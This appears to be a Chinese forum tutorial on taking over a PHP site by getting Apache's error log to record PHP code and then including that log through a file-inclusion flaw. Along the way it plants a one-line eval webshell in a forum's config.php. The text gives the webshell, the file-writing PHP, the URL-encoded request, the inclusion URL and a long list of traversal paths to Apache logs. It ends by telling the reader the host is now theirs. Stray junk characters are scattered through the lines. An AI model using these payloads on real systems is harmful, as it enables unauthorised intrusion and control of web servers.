php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

5 K  Q3 c8 ]1 U7 n7 ]0 _比如还是这句一句话木马
4 M% w) Q) B' I' D# G' b0 N<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
4 u5 C( Z9 m" f( Ofopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

& m" h9 R) D: H+ C& }$ q, ?7 ~<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
" ]. l$ q4 a! }" a, `- `
( P) C( M% V7 G# ?5 V0 `* {5 I我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
# R! S( c: U" Y' ~转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
4 I5 G6 S$ `# X( \( pfclose%28%24fp%29%3B%3F%3E
我们提交
* I. ~! G0 Z- J5 C' Thttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
) D  M) L; t4 U) F1 }http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

, G# E0 @/ D5 Y) H. z- ~这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
! [$ Q! Y9 i* Z1 {: j8 m! Phttp://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
. O: f+ F/ T1 Q- K% W9 y3 j../apache/logs/error.log
../apache/logs/access.log
, u8 [) {6 ?" [- ~# L$ [../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
5 s+ v7 ^( }5 }../../../../../../../../../../etc/httpd/logs/acces.log
8 o% q, `# Q0 F% |../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
7 B$ d5 e$ m) ]: u7 V3 D! L: K# G  ?../../../../../../../../../../usr/local/apache/logs/access.log
; S  }7 [6 _6 C$ m* D- H  t3 K1 R1 F../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
" [  M1 o, K$ N1 q/ A../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
& u& w) l, I9 b5 t' g* m../../../../../../../../../../usr/local/apache/logs/error_log
8 s4 @6 i) X" ]5 {# o$ W4 m../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
7 O0 I, D4 G; ~2 q+ u7 }4 K../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
3 y  E& p4 A5 X& n. N../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
- x5 g8 D4 q& f+ u# L../../apache/logs/access.log
4 \+ F7 a4 m5 f+ m/ C) }% e../../../apache/logs/error.log
% M+ Q/ s/ v0 S( w+ t2 b( {../../../apache/logs/access.log
/etc/httpd/logs/acces_log
6 J. L$ n. d# C% F' n. E* l; ^/etc/httpd/logs/acces.log
* F; Q  ~/ U0 X- c/etc/httpd/logs/error_log
# j: j  ^- [) l* p+ C+ ?/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
. C4 _* O4 W) I/ `' z5 c6 J/usr/local/apache/logs/access_log
4 O& ~. i2 k+ N/usr/local/apache/logs/access.log
  h! F% k  `; L) P6 z5 D/var/log/apache/access_log
/var/log/apache/access.log
7 O- I, e! x  T* d4 K# e/var/log/access_log
/var/www/logs/error_log
- l6 T- d" I" i+ c+ Q, s( w/var/www/logs/error.log
, X' k% ]9 @2 J# p1 S6 a+ Y/usr/local/apache/logs/error_log
( _( |% @- y% k" ^& `/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
; w0 D2 K7 U$ s/var/log/access_log
: K! ]: M" ^& G& |# {" \$ R3 X/var/log/error_log